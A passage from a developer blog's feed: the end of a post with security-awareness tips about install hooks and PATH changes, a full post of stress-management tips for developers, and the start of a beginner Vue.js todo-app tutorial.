<li>NPM has scripts that can run arbitrary code when you install packages. Take a look at <a href="https://docs.npmjs.com/misc/scripts#examples">postinstall</a>. Similarly,  Ruby Gems has a <code>post_install</code> hook. This script has access to your whole file system, ssh keys and nothing prevent them from sending them to a remote server. Just be aware.</li>
<li>Brew.sh adds binaries on your <code>/usr/local</code> and modifies the <code>PATH</code>, so this location has the preference. That change could make malicious programs run before the original program.</li>
</ul>
</li>
<li>Finally, never trust anything that comes from the user/internet.  If you are running a web form, sanitize the inputs (strip out malicious scripts).</li>
</ul>
<p>Be safe!</p>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;I got hacked, and it changed my life’s &lt;strong&gt;perspective&lt;/strong&gt; &lt;strong&gt;on security&lt;/strong&gt;. Here’s a compilation of something that 
    
    </summary>
    
      <category term="Learnings" scheme="https://adrianmejia.com/categories/learnings/"/>
    
    
      <category term="security" scheme="https://adrianmejia.com/tags/security/"/>
    
  </entry>
  
  <entry>
    <title>How can developers reduce stress</title>
    <link href="https://adrianmejia.com/How-can-developers-reduce-stress/"/>
    <id>https://adrianmejia.com/How-can-developers-reduce-stress/</id>
    <published>2019-01-04T00:28:50.000Z</published>
    <updated>2019-04-30T13:31:00.000Z</updated>
    
    <content type="html"><![CDATA[<!-- draft date: 2018-12-19 16:20:36 -->

<p>Most professions nowadays involve a certain degree of stress. We have deadlines, change of requirements at the last minute and to deal with people. On top of that, when you work in front of a computer 8+ hours additional stressors are added. Your eyes might get dry. Also, the lack of movement might cause you back/neck pain, while your muscles shrink and your belly expands. This post will give you some tips to accomplish your goals without sacrificing your health. I also included some bonus tips for software engineers.</p>
<a id="more"></a>

<h2 id="Background"><a href="#Background" class="headerlink" title="Background"></a>Background</h2><p>There was a time in my life, back in 2015, where I went through severe stress crisis. I was juggling too many things at once: writing my first book, traveling to the USA interviewing for new jobs, getting a work visa, and planning a wedding while keeping up with a full-time job and also the sole programmer on two attempts of startups. It was the busiest time of my life, and my health suffered a lot! I dreamt about source code. Some nights I couldn’t sleep, so I worked instead. I went to the ER multiple times with heart palpitations. I knew I could not keep living in that way.</p>
<p>I’ve been experimenting with different things to see helped and what not. This post is a compilation of the ones that helped. I’ll start with general things that applies to anybody working in front of a computer and end with some more specific tips for web and software developers.</p>
<h2 id="Ideas-to-handle-stress"><a href="#Ideas-to-handle-stress" class="headerlink" title="Ideas to handle stress"></a>Ideas to handle stress</h2><p>I’ve been incorporating the following techniques and it had helped me a lot to cope with stress! Hope they can help you, too!</p>
<h3 id="Move-🚶‍♂️"><a href="#Move-🚶‍♂️" class="headerlink" title="Move 🚶‍♂️"></a>Move 🚶‍♂️</h3><p>Have you noticed that after a long time sitting your energy levels and concentration starts to drop?</p>
<p>Taking a little break to get some movements is an excellent way to boost your productivity!</p>
<blockquote>
<p>Movement =&gt; Energy</p>
</blockquote>
<p><strong>Take a 5 minutes breaks after 25 minutes of work</strong>. You can also do 50/10 minutes of work/break. What matters is that you get some rest to move around and take deep breaths while at it.</p>
<p>The 25/5 minutes of work/break is also known as the Pomodoro technique. There are many apps that I have used to remind me to take a break. As simple as it sounds, it’s easy to get carried away when working on a computer and lose the notion of time.</p>
<p><strong>Note</strong> : working out after work doesn’t compensate for a long time of uninterrupted sitting. Your muscle and pain cripples in after a couple of hours static. So, you still have to try walking around at least every hour, so your body doesn’t suffer.</p>
<details>
  <summary>Apps I've used...</summary>

<br>

<p><b>MacOs</b></p>
<ul>
  <li>
    <b><a href="https://geo.itunes.apple.com/us/app/recess/id621451282?mt=12&app=apps">Recess</a></b> this one of my favorite because it's the simplest and blackout the screen. It keep some <a href="https://i.imgur.com/WZfeTLy.png">stats</a>
  </li>
  <li>
    <b><a href="https://geo.itunes.apple.com/us/app/be-focused-pro-focus-timer/id961632517?mt=12&app=apps">Be Focused - Timer</a></b> similar to `Recess` but also has a list where you can keep track of the time spend on each one.
  </li>
</ul>

<br>

<p><b>iOS</b></p>
<ul>
  <li>
    <b><a href="https://itunes.apple.com/us/app/forest-stay-focused/id866450515?mt=8">Forest</a></b> This has a timer and some background music that could help you concentrate.
  </li>
</ul>

<p>I don't use Android/Windows very often, so if you have suggestions write it down in the comments.</p>

<hr>
</details>

<!--
https://cdn-images-1.medium.com/max/2000/1*iRmZDugBpvyLVlzC1DXSiA.png.
-->

<p>Taking breaks can also reduce eye strain. I suffer from dry eyes from time to time. When we stare at a digital screen, we don’t blink as often causing our eyes dryness.  There’s also a rule of thumb 20-20-20. It means that, every 20 minutes, you look at something of 20 feet away for 20 seconds.
At one point I also notice that my eyesight was getting worse, so I also incorporated some eyes exercises during the break. That also helped with the dryness a lot!</p>
<details>
  <summary>Eye exercises I've tried...</summary>

  <ul>
    <li>Blinking rapidly around 20 times. It helps with the dryness.</li>
    <li>Extending my thumb as far and close to my eyes as I can.</li>
    <li>Doing circles with thumbs while my eyes follow them. You can also look up and down, and right to left.</li>
  </ul>
<hr>
</details>

<h3 id="Brainstorm-🧠"><a href="#Brainstorm-🧠" class="headerlink" title="Brainstorm 🧠"></a>Brainstorm 🧠</h3><p>Have you felt stressed when you get stuck on something for a while? (e.g., No syntax errors and still the code is not working as intendeded). Well, it’s time to take a step back and put things in perspective. There might be a straighter line to get to your goal. <strong>List all the alternatives</strong> or different ways you can solve the same problem. Whatever you can think of (don’t label them as “good” or “bad”. Put down the “smart” ideas and especially the “dumb” ones. At the end, choose the ones that you think will work best. Work smarter, not harder!</p>
<p>If you are going to cut a tree is essential to sharpen your ax first and then get to it. Not just will you cut the tree faster but also with less effort. Likewise, it’s vital that you take some time to do a little planning before jumping right into the task in hand. Beware of not overdoing it, set a time limit for this exercise. If you spend all the time sharpening the ax and never cut the tree is not good either ;)</p>
<h3 id="Subtask-✌️"><a href="#Subtask-✌️" class="headerlink" title="Subtask ✌️"></a>Subtask ✌️</h3><p><strong>Divide a big task into smaller ones</strong>. Completing some small tasks will motivate you to get more done. Also keeps the stress away since you feel you are making progress. Another benefit of sub tasking is that makes estimations more accurate.</p>
<p>Even the most ambitious projects and tallest buildings started with laying down one block at a time. Likewise, no matter how big your project is when you break it down into smaller pieces, that you make it easier to reason about.</p>
<p>Tackling a small task is less daunting to deal with the project as a whole, so you will be less likely to procrastinate and stress about it.</p>
<h3 id="Prioritize-🎯"><a href="#Prioritize-🎯" class="headerlink" title="Prioritize 🎯"></a>Prioritize 🎯</h3><p>Most of us have an endless TO DO list where things get added a lot faster than we can check them off. An infinite list of things to do stress us big time. What if I tell you, that in most cases you only need to <strong>complete the 20%</strong> of list to reap 80% of the benefits? 😲</p>
<p>If you can’t do it all, then prioritize. Do what matters the most upfront. The 20% of the task might account for 80% of the result (Pareto Principle). Find that critical 20% and execute on that first. For the rest of the list, you can apply the 80/20 principle recursively. Find the next 20% that matters the most and for the rest apply Pareto again, delegate or re-evaluate if is still needed.</p>
<h3 id="Ask-🗣"><a href="#Ask-🗣" class="headerlink" title="Ask 🗣"></a>Ask 🗣</h3><p>If you have more on your plate more than you can chew, then share with others. Don’t choke alone. <strong>Ask for help</strong>.</p>
<p>When you request for help, the other person usually feels good. You are creating a bond and companionship with that person. However, don’t overdo it! Otherwise, it will have the opposite effect. Before asking for help, you should do your homework. Try to solve it yourself first, google it and struggle with the issue a little while. Write down some questions and where you got stuck (exact error messages, etc.) The other person will appreciate that you are respecting their time and that you are asking detailed questions.</p>
<br>

<hr>
When we neglect our body the proper care we also can become sick which will take productivity to the floor. The following tips will help our body to cope with stress and keep the health.
<hr>

<h3 id="Drink-🚰"><a href="#Drink-🚰" class="headerlink" title="Drink 🚰"></a>Drink 🚰</h3><p>Stay hydrated. <strong>Your brain is mostly water so don’t let it dry</strong>. A good rule of thumb is to drink half of your weight in ounces (e.g., 170lb -&gt; 85 oz. water).</p>
<p>Your body is a fantastic machine that tries to keep the balance regardless of what we throw at it. It remains a certain temperature when it’s freezing by shivering or sweating when it’s hot. It seeks to maintain the pH of your blood even if you drink too many acidic beverages (sodas, coffee). It tries to keeps your blood sugar on check even after eating a donut or if haven eaten in hours. However, our bodies need the proper nutrients and water to do so. When you don’t hydrate yourself enough, it can’t remove the waste out of your system. So, drink up!</p>
<p>Another way to know if you are hydrated is monitoring how often your pee (crazy, right?). If you haven’t pee in 3 hours, you need two glasses of water ASAP.</p>
<details>
  <summary>Apps I've used...</summary>

<br>
<b>iOS</b>
<ul>
  <li>
    <a href="https://itunes.apple.com/us/app/waterminder/id653031147?mt=8">WaterMinder</a> You can track the amount of water that you drink and have reminders.
  </li>
  <li>
    <a href="https://itunes.apple.com/us/app/pee-see-water-reminder/id1090749982?mt=8">Pee & See: Water Reminder</a> Alternative method of measuring hydration. Instead of logging the amout of water drank you log how often you pee. If you haven't pee in 3+ hours you will get a reminder to drink more water.
  </li>
</ul>

<p>I don't use Android very often, so if you have suggestions write it down in the comments.</p>

<hr>
</details>

<h3 id="Nourish-🥦"><a href="#Nourish-🥦" class="headerlink" title="Nourish 🥦"></a>Nourish 🥦</h3><p>How productive are you when you are sick? Exactly! You get almost nothing done. On top of that, your stress increases and the deadlines get closer. A well-nourish body gets sick less and has more energy. You would be more productive!</p>
<p>Supplement yourself with <strong>vitamin C</strong> &amp; fruits.  Vitamin C helps your body to quickly clear out Cortisol, which is a hormone correlated to stress. It also keeps your immune system healthy. <strong>Magnesium</strong> from leafy greens helps to relax the muscles among many other benefits.</p>
<details>
  <summary>Foods to eat more regularly...</summary>

<ul>
<li>Nuts</li>
<li>Fish</li>
<li>Vegetable of different colors</li>
<li>Leafy greens</li>
<li>Fruits</li>
</ul>

<hr>
</details>

<h3 id="Stretch-🙆‍♀️"><a href="#Stretch-🙆‍♀️" class="headerlink" title="Stretch 🙆‍♀️"></a>Stretch 🙆‍♀️</h3><p>Prolonged sitting is the new smoke. It might increase your body weight, back, and neck pain. Even if you exercise an hour before/after work, still you are hurting yourself for sitting too long at once. You have to break sitting often.</p>
<p>As discussed before, try to break sitting every 25 minutes or an hour with some stretching session. Our bodies are not designed to stay 8 hours per day sitting still. It was designed to move. Indeed, great ideas happen when you are on the move (showering/walking). If you are stuck with some task, take a little walk, stretch out and might give you some perspective.</p>
<h3 id="Workout-🏋️‍♀️"><a href="#Workout-🏋️‍♀️" class="headerlink" title="Workout 🏋️‍♀️"></a>Workout 🏋️‍♀️</h3><p>Move your butt often, get some sweat in your forehead. Working out releases endorphins that increase your sense of well-being.</p>
<p>Working out your muscles can help you release tension and reduce your mental stress. However, don’t overdo it or it can backfire you. Try to avoid getting injured by doing small progressive changes rather than going too big the first day and then not being able to walk nor shower.</p>
<details>
  <summary>Apps I've used...</summary>

<br>

<p><b>iOS</b></p>
<ul>
  <li>
    <b>
    <a href="https://itunes.apple.com/us/app/stronglifts-5x5-weight-lifting/id488580022?mt=8">Stronglifts 5x5 Weight Lifting</a></b> I have used this program for 6 months and I have seen very good results. It's simple and have a nice tracker and videos how to do each exercise.
  </li>
</ul>

<hr>
</details>

<h3 id="Breath-💨"><a href="#Breath-💨" class="headerlink" title="Breath 💨"></a>Breath 💨</h3><p>If you are reading this, it means you are breathing (of course!). However, not all breaths are equal!  👀</p>
<p>Take some very deep and slow breaths from time to time. When we are stressed out, we breathe very fast and shallow.</p>
<p>Proper breathing is vital for relaxation. You can avoid/overcome panic attacks. Just sitting relaxed and being aware of your breath when the air goes in and out can cool off your mind, reduce your heartbeats and blood pressure.</p>
<p>Some devices can track when you are tense, focus or calm. Guess how they do it? That’s right with your breathing.
I have use Spire. I think it’s useful to know track receive feedback when I was getting tense and try to take some deep breadth right there.</p>
<details>
  <summary>Devices I've used...</summary>

<br>

  <b>
    <a href="https://amzn.to/2RxFBFi">Spire Stone: Stress Management</a>
  </b>
  <br>
  <a target="_blank"  href="https://www.amazon.com/gp/product/B00TH3SQOI/ref=as_li_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=B00TH3SQOI&linkCode=as2&tag=adrian0ea-20&linkId=af991d73cb812919c0e03644226f41e8"><img border="0" src="//ws-na.amazon-adsystem.com/widgets/q?_encoding=UTF8&MarketPlace=US&ASIN=B00TH3SQOI&ServiceVersion=20070822&ID=AsinImage&WS=1&Format=_SL250_&tag=adrian0ea-20" ></a><img src="//ir-na.amazon-adsystem.com/e/ir?t=adrian0ea-20&l=am2&o=1&a=B00TH3SQOI" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" />

<p>  This one you wear it on your belt or bra. It will capture your breathing. I easily forget to wear it or I lose it. However I learn a couple of thinks wearing the device:
  <ul>
    <li>How is my breathing per minute when I’m stress/calm/focus. <a href="https://i.imgur.com/GjYPPpm.png">bpm</a></li>
    <li>What activities stress me out <a href="https://i.imgur.com/O71NzJb.png">Location and time when stress</a></li>
  </ul></p>
<hr>
</details>

<h3 id="Meditate-🧘‍♀️"><a href="#Meditate-🧘‍♀️" class="headerlink" title="Meditate 🧘‍♀️"></a>Meditate 🧘‍♀️</h3><p>Meditation is trending but still sounds a little strange for some people. It’s not about doing the lotus position. Simply put, meditation is focusing on the “now” because most of the time we get carried away fearing “future” situations that might never happen or worrying about a “past” that we can’t change. All we got is “now”.</p>
<p>One of the best ways to be present is <strong>being aware of your breathing</strong>. It’s always in the present. So, the basis of meditation is mindful of your breath, and that alone can be calming.</p>
<details>
  <summary>Apps I've used...</summary>

<br>

<p>There are many apps that you can use for helping you pick up the habit of being present and relax:</p>

<br>

<p><b>iOS</b></p>
<ul>
  <li>
    <b>
      <a href="https://itunes.apple.com/us/app/breethe-sleep-meditation/id920161006?mt=8">Breethe: Sleep & Meditation</a>
    </b>
    This app has a nice series of guides for beginners. It has a lot of different topics like sleeping, concentration.
  </li>


  <li>
    <b>
      <a href="https://itunes.apple.com/us/app/simple-habit-meditation/id1093360165?mt=8">Simple Habit - Meditation</a>
    </b>
    It has a lot of different topics and also many instructors. Having different voices makes more dynamic.
  </li>

  <li>
    <b>
      <a href="https://itunes.apple.com/us/app/calm/id571800810?mt=8">Calm</a>
    </b>
    It's has a lot of free meditations and ambient music.
  </li>

  <li>
    <b>
      <a href="https://itunes.apple.com/us/app/headspace-meditation/id493145008?mt=8">Headspace: Meditation</a>
    </b>
    It has only one instructor you  might get bored listening to the same person.
  </li>
</ul>

<p> I'm sure there are many other apps for this but this is the ones I've used, and they are in my order of preference. </p>

<hr>
</details>



<h3 id="Play-🎮"><a href="#Play-🎮" class="headerlink" title="Play 🎮"></a>Play 🎮</h3><p>After a long session of work, what’s your reward? If you go home to continue working and or doing mentally taxing activities, then you will burn out quickly!</p>
<p>If you don’t rest properly, the next day your focus will be all over the place. Also, the urge to procrastinate will be strong in you. Your mind will be looking for any chance to get a break.</p>
<p>Solution? Have some <strong>planned</strong> downtime! After some time of work well done, reward yourself with something that you enjoy. Playtime! Do something that put a smile on your face 😊.  Do something that makes you laugh 🤣.</p>
<blockquote>
<p>Life can’t be all broccoli and not desert.</p>
</blockquote>
<p>Have some fun and plan for it!</p>
<h3 id="Write-✍️"><a href="#Write-✍️" class="headerlink" title="Write ✍️"></a>Write ✍️</h3><p>Journaling is one thing that helped me the most to calm my racing mind before going to sleep.</p>
<p>Use journals to write down thoughts, worries, plans, and let your mind run wild. Also, it helps a lot to write down things you are grateful on that day. It would make you feel better when you see written down some things turn out great on that day!  Even in the worse days, there are a few things that you can be thankful for.</p>
<p>Like brainstorming doesn’t label your writing as bad or good. Just let it flow and write down what’s on your mind.</p>
<p>Some people do it in the morning like Tim Ferris, I have seen a lot of benefits doing it at night. Find the time that works the best for you.</p>
<!--
Tim Ferris - https://tim.blog/2015/01/15/morning-pages/
http://www.gurl.com/2016/09/08/tips-on-how-to-make-the-most-perfect-bullet-journal-ideas
-->

<details>
  <summary>Tools I've used...</summary>

  <ul>
    <li>
      <b>
        <a href="https://amzn.to/2RxM3w0">Rocketbook Everlast Reusable Smart Notebook</a>
      </b>
      <span>
        This nice to avoid getting distracted with phone/table notifications and being able to save your notes digitally
        (evernote/email).
      </span>
      <a target="_blank" href="https://www.amazon.com/gp/product/B06ZXWVZ3X/ref=as_li_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=B06ZXWVZ3X&linkCode=as2&tag=adrian0ea-20&linkId=b0e7cd8801dc03ea32af135c8222b701">
        <img border="0" src="//ws-na.amazon-adsystem.com/widgets/q?_encoding=UTF8&MarketPlace=US&ASIN=B06ZXWVZ3X&ServiceVersion=20070822&ID=AsinImage&WS=1&Format=_SL250_&tag=adrian0ea-20">
      </a>
      <img src="//ir-na.amazon-adsystem.com/e/ir?t=adrian0ea-20&l=am2&o=1&a=B06ZXWVZ3X" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" />
    </li>
    <li>
      <b>
        <a href="https://itunes.apple.com/us/app/rocketbook-app/id1036898971?mt=8">Rocketbook App</a>
      </b>
      This app allow to convert your handwriting into scanned images.
    </li>
  </ul>

  <hr>
</details>

<h3 id="Sleep-😴"><a href="#Sleep-😴" class="headerlink" title="Sleep 😴"></a>Sleep 😴</h3><p>I neglected this one for some time. The truth is that we sometimes we think if we sleep less we would have more time to get stuff done. However, that’s not usually true. Your productivity/creativity decreases so much. If you are well-rested, you can solve problems in much less time.</p>
<p>The science of what happens while we sleep is still ongoing and fascinating. We know that memory consolidation happens while you sleep, your body repair itself, waste is removed from the brain. Your heart rate drops around 20%, and your stress hormones go down. Your nervous systems heal making you more responsive and sharp after a good night sleep.</p>
<p>Also, we have an idea of what happens when we don’t sleep much for a couple of days. We have problems concentrating. The quality of our work decreases and or creativity suffers. You might have headaches, darker shades under your eyes among other things.</p>
<p>Do you know having a good night sleep start during the day? For most people, it’s hard to sleep well (or at all) after a very stressful day or some big event coming up. That’s why doing breathing exercises through the day helps. Also, taking breaks every 25 or 50 minutes of work. Journaling helps me a lot to calm down my monkey mind jumping all over the place at night.</p>
<details>
  <summary>Apps I've used...</summary>


<br>

<p>  <b>iOS</b></p>
  <ul>
    <li>
      <b>
        <a href="https://itunes.apple.com/us/app/autosleep-tracker-for-watch/id1164801111?mt=8">AutoSleep Tracker for Watch</a>
      </b>
      Keeps track of your sleep automatically. I used with the Apple Watch and works pretty well so far.
    </li>
  </ul>

<hr>
</details>

<br>

<hr>
An Additional bonus for Software Developers
<hr>

<h2 id="Stress-management-for-Software-Developers"><a href="#Stress-management-for-Software-Developers" class="headerlink" title="Stress management for Software Developers"></a>Stress management for Software Developers</h2><p>All the recommendations above could apply to anyone working at an office. In this section, we are going to give some more for people working with technology that changes very fast (like Software Developers).</p>
<h3 id="Information-overload-🤯"><a href="#Information-overload-🤯" class="headerlink" title="Information overload 🤯"></a>Information overload 🤯</h3><p>Innovation in tech is happening at unprecedented pace and it will keep accelerating. Try to focus on the foundations and principles very well, since they are not changing anytime soon. Don’t feel like to have to learn everything new that comes out.</p>
<p>If you are a front-end engineer you notice that new web frameworks pop up in a relative short time. However, the most popular ones are adopted by the industry and takes a while (a couple of years) to move away when new/“better” ones come along. So, don’t feel pressure if a new shiny tool is all the hype and you don’t know about it.</p>
<p>For backend and devOps there are paradigm changes from time to time. E.g. from monolith to microservices, from server rendered apps to SPA (single page applications) or hybrids. Also people are talking about severless, and the JAM Stack (JavaScript, APIs, and Markup). Docker and kubernetes are getting very popular right now. The list just keeps growing…</p>
<p>All in all, don’t feel like you need to rearchitect your stack right away and throw what’s working for something new. Prefer battle-tested solution for production env to shiny ones. Don’t follow the hype evaluate your use cases carefully. What worked for Google/Facebook don’t necessarily be the right tool for you. You can benchmark multiple tools before going all in and make a decision based on data rather than hype.</p>
<h3 id="Testing-🐞"><a href="#Testing-🐞" class="headerlink" title="Testing 🐞"></a>Testing 🐞</h3><p>Test your code. Unit test and integration/e2e tests are not nice to have, they are a must if you want to sleep well at night. Even if your company has a QA team, try to write automated tests. Add test coverage tools and try to keep it as close to 100% as possible. That will reduce you a lot of stress chasing bugs in production and unexpected angry customers.</p>
<h3 id="Refactoring-🛠"><a href="#Refactoring-🛠" class="headerlink" title="Refactoring 🛠"></a>Refactoring 🛠</h3><p>I have been battling my perfectionism for years. Every code I see that could be better, I feel the urge to modify it. Initially I did, and my number of changes got so big that when something broke it was hard to tell what’s wrong :(</p>
<p>Keep your changes small. It’s easier to review small pull requests (PR) than a large one. Divide big changes into multiple small ones if it makes sense.</p>
<p>Also, have respect for the working code. There might be clever ways to solve a task, however you don’t know if you are going to introduce new bugs.</p>
<p>This is what I follow:</p>
<ol>
<li>Make it work, first. You should try to add the new functionality and make it work. No refactor, no clever tricks but lots of tests. Open up a PR and get it merged.</li>
<li>Make it faster, later. Now that’s working and has tests, it’s time to get clever and refactor.</li>
</ol>
<!--
Google play affiliated program:
https://support.google.com/affiliate/answer/7188084?hl=en&ref_topic=7477733
-->
]]></content>
    
    <summary type="html">
    
      &lt;!-- draft date: 2018-12-19 16:20:36 --&gt;

&lt;p&gt;Most professions nowadays involve a certain degree of stress. We have deadlines, change of requirements at the last minute and to deal with people. On top of that, when you work in front of a computer 8+ hours additional stressors are added. Your eyes might get dry. Also, the lack of movement might cause you back/neck pain, while your muscles shrink and your belly expands. This post will give you some tips to accomplish your goals without sacrificing your health. I also included some bonus tips for software engineers.&lt;/p&gt;
    
    </summary>
    
      <category term="Learnings" scheme="https://adrianmejia.com/categories/learnings/"/>
    
    
      <category term="productivity" scheme="https://adrianmejia.com/tags/productivity/"/>
    
  </entry>
  
  <entry>
    <title>Vue.js Tutorial for beginners</title>
    <link href="https://adrianmejia.com/Vue-js-Tutorial-for-beginners-Create-a-Todo-App/"/>
    <id>https://adrianmejia.com/Vue-js-Tutorial-for-beginners-Create-a-Todo-App/</id>
    <published>2018-08-05T01:30:22.000Z</published>
    <updated>2018-08-05T01:30:22.000Z</updated>
    
    <content type="html"><![CDATA[<p>In this tutorial, you are going to learn the basics of Vue.js. While we learn, we are going to build a Todo app that will help us to put in practice what we learn.</p>
<a id="more"></a>

<p>A good way to learn a new framework, It’s by doing a Todo app. It’s an excellent way to compare framework features. It’s quick to implement and easy to understand. However, don’t be fooled by the simplicity, we are going to take it to the next level. We are going to explore advanced topics as well such as Vue Routing, Components, directives and many more!</p>
<p>Let’s first setup the dev environment, so we can focus on Vue! 🖖</p>
<h2 id="Setup"><a href="#Setup" class="headerlink" title="Setup"></a>Setup</h2><p>We are going to start with essential HTML elements and CSS files and no JavaScript. You will learn how to add all the JavaScript functionality using Vue.js.</p>
<p>To get started quickly, clone the following repo and check out the <code>start-here</code> branch:</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/amejiarosario/vue-todo-app.git</span><br><span class="line"><span class="built_in">cd</span> vue-todo-app</span><br><span class="line">git checkout start-here</span><br><span class="line"></span><br><span class="line">npm install</span><br><span class="line">npm start</span><br></pre></td></tr></table></figure>

<p>After running <code>npm start</code>, your browser should open on port <code>http://127.0.0.1:8080</code> and show the todo app.</p>
<p><img src="/images/todo-app.jpg" alt="todo-app"></p>
<p>Try to interact with it. You cannot create a new Todos, nor can you delete them or edit them. We are going to implement that!</p>
<p>Open your favorite code editor (I recommend <a href="https://code.visualstudio.com/">Code</a>) on <code>vue-todo-app</code> directory.</p>
<h3 id="Package-json"><a href="#Package-json" class="headerlink" title="Package.json"></a>Package.json</h3><p>Take a look at the <code>package.json</code> dependencies:</p>
<figure class="highlight js"><figcaption><span>package.json (fragment)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&quot;dependencies&quot;</span>: &#123;</span><br><span class="line">  <span class="string">&quot;todomvc-app-css&quot;</span>: <span class="string">&quot;2.1.2&quot;</span>,</span><br><span class="line">  <span class="string">&quot;vue&quot;</span>: <span class="string">&quot;2.5.17&quot;</span>,</span><br><span class="line">  <span class="string">&quot;vue-router&quot;</span>: <span class="string">&quot;3.0.1&quot;</span></span><br><span class="line">&#125;,</span><br><span class="line"><span class="string">&quot;devDependencies&quot;</span>: &#123;</span><br><span class="line">  <span class="string">&quot;live-server&quot;</span>: <span class="string">&quot;1.2.0&quot;</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>We installed <code>Vue</code> and <code>VueRouter</code> dependencies. Also, we have the nice CSS library for Todo apps and <code>live-server</code> to serve and reload the page when we make changes. That’s all we would need for this tutorial.</p>
<h3 id="index-html"><a href="#index-html" class="headerlink" title="index.html"></a>index.html</h3><p>Open the <code>index.html</code> file.  There we have the basic HTML structure for the Todo app that we are going to build upon:</p>
<ul>
<li>Line 9: Loads the CSS from NPM module <code>node_modules/todomvc-app-css/index.css</code>.</li>
<li>Line 24: We have the <code>ul</code> and some hard-coded todo lists. We are going to change this in a bit.</li>
<li>Line 75: we have multiple script files that load Vue, VueRouter and an empty <code>app.js</code>.</li>
</ul>
<p>Now, you know the basic structure where we are going to work on. Let’s get started with Vue! 🖖</p>
<h2 id="Getting-started-with-Vue"><a href="#Getting-started-with-Vue" class="headerlink" title="Getting started with Vue"></a>Getting started with Vue</h2><p>As you might know…</p>
<blockquote>
<p>Vue.js is a <em>reactive</em> JavaScript framework to build UI components.</p>
</blockquote>
<p>It’s reactive because the data and the DOM are linked. That means, that when data changes, it automatically updates the DOM. Let’s try that!</p>
<h3 id="Vue-Data-amp-v-text"><a href="#Vue-Data-amp-v-text" class="headerlink" title="Vue Data &amp; v-text"></a>Vue Data &amp; v-text</h3><p>Go to <code>app.js</code> and type the following:</p>
<figure class="highlight js"><figcaption><span>app.js</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> todoApp = <span class="keyword">new</span> Vue(&#123;</span><br><span class="line">  el: <span class="string">&#x27;.todoapp&#x27;</span>,</span><br><span class="line">  data: &#123;</span><br><span class="line">    title: <span class="string">&#x27;Hello Vue!&#x27;</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>

<p>Notice the 2nd line with <code>el: &#39;.todoapp&#39;</code>. The <code>el</code> is the element where Vue is going to be mounted.</p>
<p>If you notice in the <code>index.html</code> that’s the section part. As shown in the fragment below.</p>
<figure class="highlight html"><figcaption><span>index.html (fragment)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line"></span><br><span class="line">  <span class="tag">&lt;<span class="name">section</span> <span class="attr">class</span>=<span class="string">&quot;todoapp&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>Going back to the <code>app.js</code> file, let’s now take a look into the <code>data</code> attribute, that binds the title. The <code>data</code> object is reactive. It keeps track of changes and re-render the DOM if needed. Go to the index.html page and change <code>&lt;h1&gt;todos&lt;/h1&gt;</code> for <code>&lt;h1&gt;{{ title }}&lt;/h1&gt;</code>. The rest remains the same:</p>
<figure class="highlight js"><figcaption><span>index.html (fragment)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&lt;section <span class="class"><span class="keyword">class</span></span>=<span class="string">&quot;todoapp&quot;</span>&gt;</span><br><span class="line">  &lt;header <span class="class"><span class="keyword">class</span></span>=<span class="string">&quot;header&quot;</span>&gt;</span><br><span class="line marked">    &lt;h1&gt;&#123;&#123; title &#125;&#125;&lt;/h1&gt;</span><br><span class="line">    &lt;input <span class="class"><span class="keyword">class</span></span>=<span class="string">&quot;new-todo&quot;</span> placeholder=<span class="string">&quot;What needs to be done?&quot;</span> autofocus&gt;</span><br><span class="line">  &lt;/header&gt;</span><br><span class="line">  &lt;!--  ...  --&gt;</span><br></pre></td></tr></table></figure>

<p>If you have <code>npm start</code> running you will see that the title changed!</p>
<p>You can also go to the console and change it <code>todoApp.title = &quot;Bucket List&quot;</code> and see that it updates the DOM.</p>
<p><img src="/images/vue-reactive.gif" alt="vue"></p>
<p>Note: besides the curly braces you can also use <code>v-text</code>:</p>
<figure class="highlight html"><figcaption><span>index.html (fragment)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">h1</span> <span class="attr">v-text</span>=<span class="string">&quot;title&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">h1</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>Let’s go back to <code>app.js</code> and do something useful inside the <code>data</code> object. Let’s put an initial todo list:</p>
